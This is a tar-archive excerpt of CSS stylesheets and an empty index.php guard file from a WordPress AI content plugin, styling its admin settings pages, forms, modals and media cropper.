relative; display: flex; flex-direction: column; min-width: 0; word-wrap: break-word; background-color: #fff; background-clip: border-box; position: relative; margin-bottom: 1.5rem; width: 100%; border: 1px solid #dbe2eb; box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06); border-radius: 8px; border: 0 !important; } .back-but { margin: 0 auto; font-size: 1rem; line-height: 1rem; padding: 0.375rem 0.75rem; }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������styles/aiomatic-modern.css��������������������������������������������������������������������������0000644�����������������00000075634�14757771437�0011716 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.aiomatic-rounded-circle { border-radius: 50%!important; } .aiomatic-client-settings-wrapper { border: 1px solid #d3d9e6; background-color: #fff; padding: 0px; margin-top: 25px; } .aiomatic-inner-wrapper .form-table td { padding: 13px 10px!important; } .aiomatic-inner-wrapper .form-table tr { padding-left: 35px!important; padding-right: 35px!important; } .aiomatic-client-settings-wrapper .ultimate-header { border-top: 4px solid #292c4b; background-color: #292c4b; padding: 23px; padding-top: 10px; padding-bottom: 14px; color: #fff; } .aiomatic-client-settings-wrapper .notice { background-color: #303457 !important; background: #303457 !important; border: 1px solid #292c4b !important; border-left: 4px solid #46b450 !important; padding: 3px 14px 6px 14px !important; margin-bottom: 3px !important; margin-top: 10px !important; } .aiomatic-client-settings-wrapper .ultimate-header img { position: relative; top: 2px; } .aiomatic-client-settings-wrapper .ultimate-header .client-logo { display: inline!important; } .aiomatic-client-settings-wrapper .ultimate-header h1 { display: inline; color: #fff; position: relative; bottom: 15px; left: 14px; } .aiomatic-client-settings-wrapper h3 { margin: 0px; margin-top: 0px; background-color: #f5f5f5!important; border: 1px solid #efeded; border-left: 3.7px solid #5cb85c; padding: 23px 32px 23px 32px; margin-bottom: 8px; color: #2d304b; } .aiomatic-client-settings-wrapper th { padding-left: 1px!important; padding-top: 8px; padding-bottom: 8px; position: relative; top: 11px; } .aiomatic-client-settings-wrapper input[type=radio], .aiomatic-client-settings-wrapper input[type=checkbox] { margin-right: 8px; position: relative; bottom: 2px; } .aiomatic-save-section { padding-bottom: 40px!important; padding-top: 5px!important; } .aiomatic-save-section p { padding-bottom: 0px!important; padding-top: 0px!important; } .aiomatic-brand-dash-developer { font-size: 12px; padding-left: 10px; line-height: 15px; } .aiomatic-client-settings-wrapper th p { font-size: 13px; color: #6d6d6d; font-weight: 400!important; } .aiomatic-client-settings-wrapper .aiomatic-inner-wrapper .form-table p, .aiomatic-client-settings-wrapper .aiomatic-inner-wrapper .form-table th { font-size: 13px; } .aiomatic-inner-title { font-size: 17px; line-height: 25px; margin-bottom: 5px; margin-top: 2px; padding-bottom: 4px; padding-left: 0px; width: fit-content; color: #2d304b !important; position: relative; margin-left: -5px!important; } .aiomatic-radio-spacing { margin-left: 12px!important; } .aiomatic-radio-row { position: relative; top: 5px; } .aiomatic-client-settings-wrapper .updated { margin-top: 8px!important; margin-bottom: 4px!important; background-color: #35395c !important; } .aiomatic-client-settings-wrapper .updated p { position: relative; padding-top: 4px!important; padding-bottom: 0px!important; bottom: 2px; } .aiomatic-client-settings-wrapper .updated a { color: #5cb85c!important; } .aiomatic-client-access { vertical-align: text-top!important; } @media (min-width: 1600px) { .aiomatic-client-access.two { position: relative; right: 20%; bottom: 0px; } } @media (min-width: 1400px) and (max-width: 1600px) { .aiomatic-client-access.two { position: relative; right: 10%; bottom: 0px; } } @media (min-width: 1200px) and (max-width: 1400px) { .aiomatic-client-access.two { position: relative; right: 10%; bottom: 0px; } } @media (min-width: 1000px) and (max-width: 1200px) { .aiomatic-client-access.two { position: relative; right: 10%; bottom: 0px; } } .ultimiate-client-footer a { color: #fff!important; text-decoration: none!important; } .ultimiate-client-footer a:hover { color: #5cb85c!important; text-decoration: none!important; } .aiomatic-client-settings-wrapper div.error { margin-top: 8px!important; margin-bottom: 4px!important; background-color: #303457 !important; border-left-color: #46b450; padding-bottom: 6px!important; padding-top: 3px!important; } .aiomatic-inner-wrapper #upload-btn { position: relative!important; top: 1.75px!important; } .aiomatic-client-settings-wrapper tr { display: block; border-bottom: 1px solid #efeded; padding-top: 11px; padding-bottom: 8px; } @media (min-width: 1000px) { .aiomatic-client-settings-wrapper td { width: 80%!important; } } .aiomatic-client-settings-wrapper th { min-width: 270px!important; } .coderevolution_block_input { width: 100%!important; } @media (min-width: 780px) { .aiomatic-client-access.two, .aiomatic-client-access.one { width: 36%!important; } } .aiomatic-save-section dashboard .wp-core-ui .button-primary { background: #5cb85c !important; border-color: #5cb85c !important; box-shadow: 0 1px 0 #5cb85c !important; text-shadow: none!important; } .aiomatic-title-holder { background-color: #f5f5f5; position: relative; border-left: 4px solid #42476c !important; margin-left: 1px!important; } .aiomatic-settings-desc { margin-bottom: 22px; } .toplevel_page_ultimate-client-dash .vc_license-activation-notice, .toplevel_page_ultimate-client-dash #setting-error-tgmpa { display:none!important; } .aiomatic-client-welcome { padding: 0px!important; } .aiomatic-client-welcome .title-background { font-size: 14px; padding: 8px 12px; margin: 0; line-height: 1.4; color: #23282d; font-weight: 500; border-bottom: 1px solid #eee; } .aiomatic-welcome-content { padding: 13px; padding-left: 15px; padding-right: 15px; margin-top: 5px; padding-bottom: 20px; } .aiomatic-welcome-content img { padding-top: 18px; padding-bottom: 18px; } .aiomatic-welcome-content h3, .aiomatic-welcome-content h2 { margin-bottom: 7px; } .aiomatic-welcome-content h5 { margin-bottom: 4px!important; } .aiomatic-client-settings-wrapper input[type=checkbox] { border: 1px solid #5cb85c !important; border-radius: 0px!important; height: 20px!important; margin: 0px 9px 0 0!important; padding: 1px!important; width: 20px!important; min-width: 20px!important; box-shadow: none!important; } #brand_dash_widget { display: none; } .aiomatic-client-welcome { display: none; } @media (min-width: 1000px) { .aiomatic-client-settings-wrapper th { width: 270px!important; } } .aiomatic-disable-option-wrapper { padding-bottom: 12px; display: block; } .aiomatic-disable-option-wrapper input[type=checkbox] { position: relative; top: 0px!important; } .aiomatic-client-settings-wrapper .nav-tab-active, .aiomatic-client-settings-wrapper .nav-tab-active:focus, .aiomatic-client-settings-wrapper .nav-tab-active:focus:active, .aiomatic-client-settings-wrapper .nav-tab-active:hover { border-bottom: 1px solid #5cb85c; background: #fff !important; color: #292c4b !important; } .aiomatic-client-settings-wrapper .nav-tab { float: left; border: none!important; border-bottom: none; margin-left: 0px!important; margin-right: 0px!important; border-right: 1px solid #84de95 !important; padding: 12px 16px; font-size: 13px; line-height: 24px; background: #5cb85c; border-top-left-radius:0px!important; border-top-right-radius: 0px!important; color: #fff; } .aiomatic-client-settings-wrapper .nav-tab-wrapper, .wrap h2.nav-tab-wrapper, h1.nav-tab-wrapper { border-bottom: 2px solid #f5f5f5 !important; } .aiomatic-client-settings-wrapper .nav-tab:hover { border-bottom: 1px solid #5cb85c; background: #fff !important; color: #292c4b; margin-bottom: -1px; } .aiomatic-client-settings-wrapper input, .aiomatic-client-settings-wrapper select, .aiomatic-client-settings-wrapper select[multiple], .aiomatic-client-settings-wrapper textarea { padding: 6px!important; background-color: #f1f1f1; padding-left: 10px!important; padding-right: 10px!important; line-height: 19px!important; border-radius: 1px!important; border: 1px solid #ddd !important; } .aiomatic-client-settings-wrapper input[type=text]:not(.input-short, .wp-color-picker) { max-width: 400px; width: 100%; } .aiomatic-client-settings-wrapper .color-field.wp-color-picker { width: 70px!important; margin-right: 9px!important; position: relative; bottom: 1.75px!important; } .aiomatic-client-settings-wrapper .wp-picker-clear { position: relative; top: 2px!important; } .aiomatic-client-settings-wrapper textarea { width: 100%; } .aiomatic-inner-wrapper { padding: 0px; padding-top: 5px; padding-bottom: 5px; } .ultimiate-client-footer { background-color: #292c4b; padding: 33px 20px 33px 20px; color: #bbbbbb; margin-left: 2px; margin-right: 20px; text-align: right; margin-bottom: 29px!important; } @media (max-width: 780px) and (min-width:600px) { .aiomatic-client-settings-wrapper .nav-tab { width: 94%; } } @media (max-width: 600px) { .aiomatic-client-settings-wrapper .nav-tab { width: 92%; margin-bottom: 0px!important; margin-top: 0px!important; } } .aiomatic-widget-count-body { border-bottom: 1px solid #e3dfdf; } .aiomatic-widget-count-body #wp-aiomatic_widget_body-editor-container { margin-bottom: 20px; } .aiomatic-widget-count-body th { padding-bottom: 0px!important; margin-bottom: 0px!important; display: block!important; } .aiomatic-widget-count-enable { padding-top: 0px!important; padding-bottom: 15px!important; } .metabox-holder .postbox-container .empty-container { border: 0px dashed #b4b9be!important; } .aiomatic-preview-button { margin-top: 5px; margin-bottom: 30px; display: inline!important; color: #292c4b !important; } .aiomatic-preview-button:hover { margin-top: 5px; margin-bottom: 30px; display: block; color: #5cb85c !important; } .aiomatic-preview-button { position: relative; left: 30px; } @media (min-width: 700px) { .aiomatic-preview-button:after { content: "Save changes before previewing"; position: absolute; width: fit-content; min-width: 200px; top: -8px; padding: 10px 17px; border-left: 3px solid #5cb85c; margin-left: 25px!important; font-weight: 400!important; color: #6d6d6d; font-weight: 400!important; font-size: 12.25px!important; pointer-events:none!important; background-color: #f5f5f5; } } .aiomatic-welcome-wrapper .aiomatic-leftside, .aiomatic-welcome-wrapper .aiomatic-rightside { margin: 0px; padding: 30px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; vertical-align: top; } @media (min-width: 782px) { .aiomatic-welcome-wrapper .aiomatic-leftside, .aiomatic-welcome-wrapper .aiomatic-rightside { width: 49.5%!important; display: inline-block; } } .metabox-holder .postbox-container .empty-container { border: 0px dashed #b4b9be!important; } .aiomatic-switch { position: relative; display: inline-block; width: 59px; height: 32px!important; margin-right: 14px; bottom: 1.5px; } .aiomatic-switch input { opacity: 0; width: 0; height: 0; } .aiomatic-slider { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background-color: #ccc; -webkit-transition: .4s; transition: .4s; } .aiomatic-slider:before { position: absolute; content: ""; height: 24px; width: 24px; left: 4px; bottom: 4px; background-color: white; -webkit-transition: .4s; transition: .4s; } input:checked + .aiomatic-slider { background-color: #5cb85c; } input:focus + .aiomatic-slider { box-shadow: 0 0 1px #5cb85c; } input:checked + .aiomatic-slider:before { -webkit-transform: translateX(26px); -ms-transform: translateX(26px); transform: translateX(26px); } .aiomatic-slider.round { border-radius: 34px; } .aiomatic-slider.round:before { border-radius: 50%; } .aiomatic-widget-shortcode-one input, .aiomatic-widget-shortcode-one select,.aiomatic-widget-shortcode-one textarea { width: 100%!important; } .aiomatic-widget-shortcode-two input, .aiomatic-widget-shortcode-two select,.aiomatic-widget-shortcode-two textarea { width: 100%!important; } .aiomatic-widget-shortcode-three input, .aiomatic-widget-shortcode-three select,.aiomatic-widget-shortcode-three textarea { width: 100%!important; } .aiomatic-widget-shortcode-four input, .aiomatic-widget-shortcode-four select,.aiomatic-widget-shortcode-four textarea { width: 100%!important; } .aiomatic-widget-shortcode-one .gform_wrapper ul.gform_fields li.gfield,.aiomatic-widget-shortcode-two .gform_wrapper ul.gform_fields li.gfield,.aiomatic-widget-shortcode-three .gform_wrapper ul.gform_fields li.gfield,.aiomatic-widget-shortcode-four .gform_wrapper ul.gform_fields li.gfield { padding-right: 0px!important; } .aiomatic-client-settings-wrapper .nav-tab-wrapper, .aiomatic-client-settings-wrapper .wrap h2.nav-tab-wrapper { padding-top: 0px!important; } .aiomatic-float-option { right: 0px!important; bottom: 0px!important; position: fixed!important; display: block!important; width: 100%!important; float: right; background-color: #fff!important; border-top: 1px solid #efeded!important; padding-top: 0px!important; padding-bottom: 0px!important; z-index: 2!important; } @media (min-width: 960px) { .aiomatic-float-option .aiomatic-save-section { margin-left: 240px!important; position: relative; display: block!important; padding-top: 10px!important; padding-bottom: 31px!important; min-width: 600px!important; } .aiomatic-float-option .aiomatic-save-section p.submit { margin-top: 10px!important; padding-top: 10px; } } @media (max-width: 960px) { .aiomatic-float-option .aiomatic-save-section { margin-left: 117px!important; position: relative; display: block!important; padding-bottom: 27px!important; min-width: 600px!important; } .aiomatic-float-option .aiomatic-save-section p.submit { margin-top: 10px!important; padding-top: 10px; } } @media (max-width: 780px) { .aiomatic-float-option .aiomatic-save-section { margin-left: 71px!important; position: relative; display: block!important; padding-bottom: 27px!important; } .aiomatic-float-option .aiomatic-save-section p.submit { margin-top: 11px!important; padding-top: 10px; } } .aiomatic-float-option .aiomatic-save-section p.submit { display: inline!important; } .aiomatic-inline-option { display: inline-block; margin-right: 25px; } @media (max-width: 1300px) { .aiomatic-inline-option { margin-bottom: 20px; } } @media (min-width: 900px) { .aiomatic-page-navigation.vertical.left.clearfix { float: left; } } .aiomatic-page-navigation.vertical.left .aiomatic-tabs-navigation-wrapper { float: left; } .aiomatic-page-navigation.vertical .aiomatic-tabs-navigation-wrapper { width: 200px; max-width: 200px!important; overflow: hidden!important; } .aiomatic-tab-content { margin-left: 200px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; background-color: #fff; padding: 0px 25px; border-left: 1px solid #ebebed; padding-bottom: 18px; min-height: 549px; } .wrap { margin: 0px 20px 0 2px; } .aiomatic-tabs-navigation-wrapper a { display: block; padding: 16px 23px 13px 23px; max-width: 200px!important; border-bottom: 1px solid #ebebed; text-decoration: none; color: #3a5057; font-family: 'Roboto', sans-serif!important; font-size: 14px!important; line-height: 20px; font-style: normal; font-weight: 400!important; text-transform: none; } .aiomatic-nav-tab-active, .aiomatic-tabs-navigation-wrapper a:hover { background-color: #5cb85c !important; color: #fff!important; } .aiomatic-tab-content .form-table { position: relative!important; display: inline-block!important; } .aiomatic-tab-content .form-table tbody { position: relative!important; display: inline-block!important; width: 100%; } .aiomatic-tab-content tr { display: block; border: 1px solid #efeded; border-top: 0px solid #efeded; padding-top: 6px; padding-bottom: 3px; padding-left: 22px; padding-right: 22px; } .aiomatic-tab-content #setting-error-aiomatic-settings-updated { display: none!important; } @media (max-width: 900px) { .aiomatic-page-navigation.vertical .aiomatic-tabs-navigation-wrapper { width: 100%; max-width: 100%!important; overflow: hidden!important; display: block; } .aiomatic-tab-content { margin-left: 0px!important; display: block!important; } .aiomatic-float-option { display: block!important; width: 100%!important; float: unset!important; } .aiomatic-page-navigation.vertical.left .aiomatic-tabs-navigation-wrapper { float: unset!important; } .aiomatic-tabs-navigation-wrapper a { max-width: 100%!important; } .ultimiate-client-footer { margin-right: 12px!important; } } .aiomatic-shortcode-tr,.aiomatic-shortcode-tr.aiomatic-pro-version { padding-bottom: 11px!important; } .aiomatic-upgrade-body { background-color: #292c4b; padding: 65px 30px 90px 30px; } .aiomatic-upgrade-body h1 { color: #fff; text-align: center; text-transform: capitalize; font-family: 'Merriweather', sans-serif; font-size: 2.5em; line-height: 2.1em; } .aiomatic-upgrade-body .upgrade-section p { text-align: center; color: #fff; margin-top: -4px; font-size: 1.2em; opacity: 0.7; } .aiomatic-upgrade-body .upgrade-section a { text-align: center; color: #fff !important; font-size: 1.2em; margin: auto; display: block!important; font-size: 12px; line-height: 53px; height: 53px; font-style: normal; font-weight: 400; background-color: #5cb85c; border: 1px solid #5cb85c !important; border-radius: 0px; -moz-border-radius: 0px; -webkit-border-radius: 0px; letter-spacing: 0px; text-transform: uppercase; border-width: 0px; padding-left: 45px; padding-right: 45px; width: 120px; text-decoration: none!important; font-family: 'Merriweather', sans-serif; margin-top: 30px!important; border-radius: 1px; } .aiomatic-upgrade-body .upgrade-section a:hover { background-color: #303457; border: 1px solid #5cb85c !important; } .aiomatic-upgrade-body .compare-section { padding-top: 25px; } .aiomatic-upgrade-body .compare-section h5 { text-align: center; color: #fff; font-size: 1.4em; font-family: 'Merriweather', sans-serif; margin-bottom: 30px; } .aiomatic-upgrade-body .compare-section .compare-table { background-color: #fff; margin: auto; border-top: 6px solid #5cb85c; border-radius: 2px; } @media(min-width: 1400px) { .aiomatic-upgrade-body .compare-section .compare-table { width: 75%; } } .aiomatic-upgrade-body .compare-section .compare-table .aiomatic-column { width: 33%!important; border-right: 1px solid #1c2a36 !important; height: auto; box-sizing: border-box!important; display: inline-block!important; } .aiomatic-upgrade-body .compare-section .compare-table .aiomatic-column ul { display: inline-block!important; width: 100%!important; box-sizing: border-box!important; margin: 0px!important; } .aiomatic-upgrade-body .compare-section .compare-table .aiomatic-column li { padding: 10px 25px 10px 25px; box-sizing: border-box!important; border-bottom: 1px solid #efefef; box-sizing: border-box!important; width: 100%; color: #292c4b !important; margin: 0px!important; } .aiomatic-upgrade-body .compare-section .compare-table .aiomatic-column.title li { padding-right: 20px!important; } .aiomatic-upgrade-body .compare-section .compare-table .aiomatic-column li img { position: relative; top: 3.5px; margin-top: -3px; height: 16px; width: 16px; } .aiomatic-upgrade-body .compare-section .compare-table .aiomatic-column.pro { border-right: 0px solid #d2d2d2 !important; } .aiomatic-upgrade-body .compare-section .compare-table .aiomatic-column.title { width: 75%!important; } .aiomatic-upgrade-body .compare-section .compare-table .aiomatic-column.free,.aiomatic-upgrade-body .compare-section .compare-table .aiomatic-column.pro { width: 24.5%!important; text-align: center; } @media(max-width: 1250px) { .aiomatic-upgrade-body .compare-section .compare-table .aiomatic-column.title { width: 80%!important; } .aiomatic-upgrade-body .compare-section .compare-table .aiomatic-column.free,.aiomatic-upgrade-body .compare-section .compare-table .aiomatic-column.pro { width: 19%!important; } .aiomatic-upgrade-body .compare-section .compare-table .aiomatic-column.pro { border-bottom: 0px solid #dadada !important; } } .aiomatic-upgrade-body .compare-section .compare-table .aiomatic-row { width: 100%!important; box-sizing: border-box; height: auto; display: inline-block!important; } .aiomatic-upgrade-body .compare-section .compare-table .aiomatic-column .table-header { background-color: #f5f5f5 !important; padding-top: 12px!important; font-weight: 600; font-size: 1.2em; padding-bottom: 12px!important; } .aiomatic-tooltip { position: relative; display: block; float: right; padding: 5px; margin: -5px; text-align: center; cursor: pointer; } .aiomatic-tooltip .aiomatic-tooltip-text { visibility: hidden; width: 300px; background-color: #303457; color: #fff; text-align: left; border-radius: 1px; padding: 15px 20px; position: absolute; z-index: 1; bottom: 110%; left: 50%; margin-left: -170px; opacity: 0; transition: opacity 0.3s; font-size: 13px!important; pointer-events: none; } .aiomatic-tooltip .aiomatic-tooltip-text::after { content: ""; position: absolute; top: 100%; left: 50%; margin-left: -5px; border-width: 5px; border-style: solid; border-color: #1c2a36 transparent transparent transparent; } .aiomatic-tooltip:hover .aiomatic-tooltip-text { visibility: visible; opacity: 1; } li.aiomatic-tooltip { text-align: left!important; float: none!important; padding: 0px; margin: 0px; text-align: center; cursor: default; } .aiomatic-dynamic-item { margin: 0px; margin-top: 0px; background-color: #f5f5f5!important; border: 1px solid #efeded; border-left: 3.7px solid #292c4b; padding: 17px 30px 17px 30px; margin-bottom: 5px; color: #2d304b; height: auto; position: relative; } .aiomatic-dynamic-item .aiomatic-item-name { font-size: 14px; font-weight: 500; } .aiomatic-dynamic-item .aiomatic-item-capabilities .aiomatic-admin { display: inline-block; position: relative; bottom: 2px; } .aiomatic-dynamic-item .aiomatic-item-capabilities .aiomatic-client { display: inline-block; position: relative; bottom: 2px; } .aiomatic-dynamic-item .aiomatic-switch { margin-right: 12px; margin-left: 25px; top: 0px; height: 32px!important; width: 59px!important; } .aiomatic-dynamic-item .aiomatic-slider:before { height: 24px!important; width: 24px!important; } @media (min-width: 1000px) { .aiomatic-dynamic-item .aiomatic-item-name { margin-right: 20em; display: inline-block; position:relative; } .aiomatic-dynamic-item .aiomatic-item-capabilities { right: 30px; position:absolute; top: 13px; } } @media (max-width: 1000px) { .aiomatic-dynamic-item .aiomatic-item-name { margin-right: 0px!important; display: inline; position:relative; } .aiomatic-dynamic-item .aiomatic-item-capabilities { display: block!important; margin-left: -25px!important; margin-top: 20px; margin-bottom: -5px; } .aiomatic-item-toggle { vertical-align: middle; border-right: none!important; margin-right: 0px!important; margin-left: -20px!important; position: relative; display: inline; box-sizing: border-box; line-height: 0px!important; } } .aiomatic-dynamic-item.submenu { margin-left: 56px; border-left: 1px solid #efeded } .aiomatic-item-toggle { vertical-align: middle; padding: 18px 26px 15px 26px; border-right: 1px solid #efeded; margin-right: 30px; margin-left: -30px; position: relative; box-sizing: border-box; line-height: 0px!important; } .aiomatic-item-toggle:before { content: "\f140"; font: normal 20px/1 dashicons; position: absolute; left: 14px; top: 14px; color: #5cb85c; font-size: 23px!important; } .aiomatic-item-toggle.aiomatic-item-toggle-active:before { content: "\f142"; } @media (min-width: 780px) { .aiomatic-client-settings-wrapper input[type=text]:not(.input-short):not(.regular-text) { max-width: 500px; width: 100%; } } #wp-admin-bar-aiomatic-landing-page-notice a { color:#fff; background-color: #EE3233; padding-left: 14px!important; padding-right: 14px!important; } .aiomatic-item-hidden { display: none; } .aiomatic-dynamic-subitems-wrap.aiomatic-dynamic-capabilities { margin-left: 56px; overflow: hidden; } .aiomatic-dynamic-capabilities .aiomatic-dynamic-item.submenu { margin-left: 0; } .aiomatic-dynamic-subitems-flex { display: flex; flex-wrap: wrap; flex-direction: row; justify-content: space-between; } .aiomatic-dynamic-subitems-flex .aiomatic-dynamic-item { flex: 1 1 25%; } @media (min-width: 1000px) { .aiomatic-dynamic-subitems-flex .aiomatic-dynamic-item .aiomatic-item-name { margin-right: 10em; } } .aiomatic-pro-extend-cap-screenshot { width: 100%; overflow: hidden!important; box-sizing: border-box; padding-left: 52px; } .aiomatic-upgrade-button { background-color: rgba(108, 209, 127, 0.2); } .aiomatic-client-settings-wrapper .wp-picker-container .wp-color-result.button { border: 1px solid #ccc!important; } .aiomatic-client-settings-wrapper select { border: 1px solid #ddd!important; position: relative!important; bottom: 5px; } @media (max-width: 1300px) { .aiomatic-inline-option.aiomatic-admin-bar-menu { margin-bottom: 20px; } } .aiomatic-activation-message { margin-top: 0px; background-color: #f5f5f5 !important; border-left: 4.7px solid #5cb85c; padding: 13px 20px 13px 20px; margin-bottom: 4px!important; margin-top: 20px!important; color: #192531; display: block; width: fit-content; } .wrap .aiomatic-notice.notice { padding: 0; margin: 5px 0 10px; border: 1px solid #E5E5E5; background: #FFF; overflow: hidden; -webkit-border-radius: 6px; border-radius: 6px; -webkit-box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.05); box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.05); position: relative; z-index: 1; min-height: 80px; display: table; font: 13px "Open Sans", sans-serif; width: 100%; } .aiomatic-notice-logo { background-color: #2e3251; padding: 5px 20px; } .aiomatic-notice-logo:before { background-color: #2e3251; content: ""; background-size: 47.5px 35px; background-repeat: no-repeat; display: block; width: 47.5px; height: 35px; } .aiomatic-notice > div { display: table-cell; vertical-align: middle; cursor: default; } .aiomatic-notice-message { width: 100%; padding: 10px 30px 10px 20px; color: #444; } .aiomatic-inner-wrapper .aiomatic-shortcode-tooltip { position: relative; display: inline-block; } .aiomatic-inner-wrapper .aiomatic-shortcode-tooltip .aiomatic-shortcode-tooltip-text { visibility: hidden; width: 140px; background-color: #292b4b; color: #fff; text-align: center; border-radius: 3px; padding: 5.5px; padding-bottom: 7.5px!important; position: absolute; z-index: 1; bottom: 150%; left: 50%; margin-left: -75px; opacity: 0; transition: opacity 0.3s; } .aiomatic-inner-wrapper .aiomatic-shortcode-tooltip .aiomatic-shortcode-tooltip-text::after { content: ""; position: absolute; top: 100%; left: 50%; margin-left: -5px; border-width: 5px; border-style: solid; border-color: #555 transparent transparent transparent; } .aiomatic-inner-wrapper .aiomatic-shortcode-tooltip:hover .aiomatic-shortcode-tooltip-text { visibility: visible; opacity: 1; } .aiomatic-inner-wrapper .aiomatic-shortcode-tooltip button { border: none!important; cursor: pointer!important; background-color: #f3f3f3 !important; padding-left: 3px!important; margin-left: 22px; padding-bottom: 5px; padding-top: 3px; position: relative; bottom: 1px; font-size: 12px!important; color: #777 !important; } .aiomatic-inner-wrapper .aiomatic-shortcode-tooltip button:focus { outline: none!important; border: none!important; } .aiomatic-inner-wrapper .aiomatic-shortcode-tooltip button:hover { border: none!important; cursor: pointer!important; background-color: #f3f3f3 !important; padding-left: 3px!important; margin-left: 22px; padding-bottom: 5px; padding-top: 3px; position: relative; bottom: 1px; font-size: 12px!important; color: #313235 !important; } .aiomatic-inner-wrapper .aiomatic-shortcode-tooltip button:before { content: ''; width: 0px; height: 0px; border-style: solid; border-width: 12px 15px 12px 0; border-color: transparent #f3f3f3 transparent transparent; display: inline-block; vertical-align: middle; margin-right: 5px; left: -15px; top: 0px; position: absolute; } .aiomatic-inner-wrapper .aiomatic-pro-version th { min-width: 270px!important; } .aiomatic-inner-wrapper .aiomatic-pro-version .aiomatic-shortcode-holder { border: none!important; max-width: 180px!important; } .aiomatic-inner-wrapper .aiomatic-pro-version { padding-top: 1px!important; padding-bottom: 15px; } .aiomatic-inner-wrapper .aiomatic-pro-version td p { position: relative; top: 5px; }����������������������������������������������������������������������������������������������������styles/index.php������������������������������������������������������������������������������������0000644�����������������00000000037�14757771437�0007735 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Silence is golden. ?> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������styles/embeddings.css�������������������������������������������������������������������������������0000644�����������������00000000607�14757771437�0010733 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.aiomatic_list_data{ padding: 10px; background: #e1e1e1; border: 1px solid #ccc; border-radius: 5px; } .aiomatic_modal{ top: 5%; height: 90%; position: relative; } .aiomatic_modal_content{ max-height: calc(100% - 103px); overflow-y: auto; } .aiomatic-chk { margin: 0 0 0 0; } .aiomatic-tdcol { padding: 6px 0 0px!important; }�������������������������������������������������������������������������������������������������������������������������styles/forms.css������������������������������������������������������������������������������������0000644�����������������00000007434�14757771437�0007765 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� .embedtool {position: relative;height: 0;padding-top: 56%;overflow: hidden;max-width: 100%;} .embedtool iframe, .embedtool object, .embedtool embed { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } .embedtool .fluid-vids {position: initial !important} .aiomatic-loader-bubble { border: 1px solid #ccc!important; border-radius: 16px; padding:5px; } .aiomatic_modal{ width: 900px; min-height: 100px; position: absolute; top: 50px; background: #fff; left: calc(50% - 450px); border-radius: 5px; scroll-behavior: smooth; overflow-y:scroll; height:calc(100% - 100px); } @media only screen and (max-width: 920px) { .aiomatic_modal{ width: 400px; left: 200px; } } @media only screen and (max-width: 650px) { .aiomatic_modal{ left: 50px; } } .aiomatic_modal_content pre{ max-height: 400px; overflow-y: auto; word-break: break-all; white-space: pre-line; } .aiomatic_height { height: 30px; } .aiomatic-modal-content{ max-height: 400px; overflow-y: auto; } .aiomatic_modal_content{ padding: 10px; } .aiomatic_modal_title{ font-size: 18px; } .aiomatic_modal_title small{ font-size: 13px; } .aiomatic_modal_close{ position: absolute; top: 10px; right: 10px; font-size: 30px; font-weight: bold; cursor: pointer; } .aiomatic-overlay{ position: fixed; width: 100%; height: 100%; z-index: 9999; background: rgb(0 0 0 / 20%); top: 0; direction: ltr; } .aiomatic-forms-success { padding: 10px; background: #fff; border-left: 2px solid #11ad6b; display: none; } .aiomatic-hidden-form { display: none; } .aiomatic-full-size { width:100%!important; max-width:100%!important; } .aiomatic-full-center { width:100%!important; max-width:100%!important; text-align:center!important; display: block; } .aiomatic-template-form-field { border-style:double; padding:5px; margin-top:5px; } .marginbottom-5{ margin-bottom: 5px; } .aiomatic-label-top{ display: block; width: 100%; text-align: center; margin-top:5px; } .aiomatic-field-delete { cursor:pointer; width: 100%; text-align: center; margin-top:10px; display: block; color:red; } .aiomatic-field-duplicate { cursor:pointer; width: 100%; text-align: center; margin-top:10px; display: block; color:blue; } .aiomatic-field-up { cursor:pointer; width: 100%; text-align: center; margin-top:10px; display: block; color:green; } .aiomatic-field-down { cursor:pointer; width: 100%; text-align: center; margin-top:10px; display: block; color:green; } .aiomatic_modal_head { margin-top:5px; } .aiomatic-field-delete-add { cursor:pointer; width: 100%; text-align: center; margin-top:10px; display: block; color:red; } .aiomatic-field-duplicate-add { cursor:pointer; width: 100%; text-align: center; margin-top:10px; display: block; color:blue; } .aiomatic-field-up-add { cursor:pointer; width: 100%; text-align: center; margin-top:10px; display: block; color:green; } .aiomatic-field-down-add { cursor:pointer; width: 100%; text-align: center; margin-top:10px; display: block; color:green; } .aiomatic-form-controls { display: flex; } .main-form-header-holder { display: flex; justify-content: space-between; align-items: center; padding: 10px; } .header-al-right { margin-left: auto; cursor:pointer; } .aiomatic_modal_title { padding:10px; }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������styles/aiomatic-media.css���������������������������������������������������������������������������0000644�����������������00000006213�14757771437�0011474 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#aiomatic-cropper-wrapper .media-modal-backdrop { z-index: 17000000; } #aiomatic-cropper-wrapper .media-modal { z-index: 17000001; } .aiomatic-wp-pointer { z-index: 17000002 !important; } #aiomatic-cropper-wrapper .media-frame-content, #aiomatic-cropper-wrapper .media-frame-router, #aiomatic-cropper-wrapper .media-frame-title { left: 0; } .aiomatic-full { width: 100%!important; max-width: 100%!important; } @media screen and (max-width:700px) { #aiomatic-cropper-wrapper .media-sidebar {display:none} #aiomatic-cropper-wrapper .attachments {width: 100%!important;} } #aiomatic-cropper-wrapper .media-frame-router .arrows { border: 0; background: none; cursor: default; display: none; margin: 0; outline: none; padding: 0; position: absolute; top: 0; z-index: 3; } 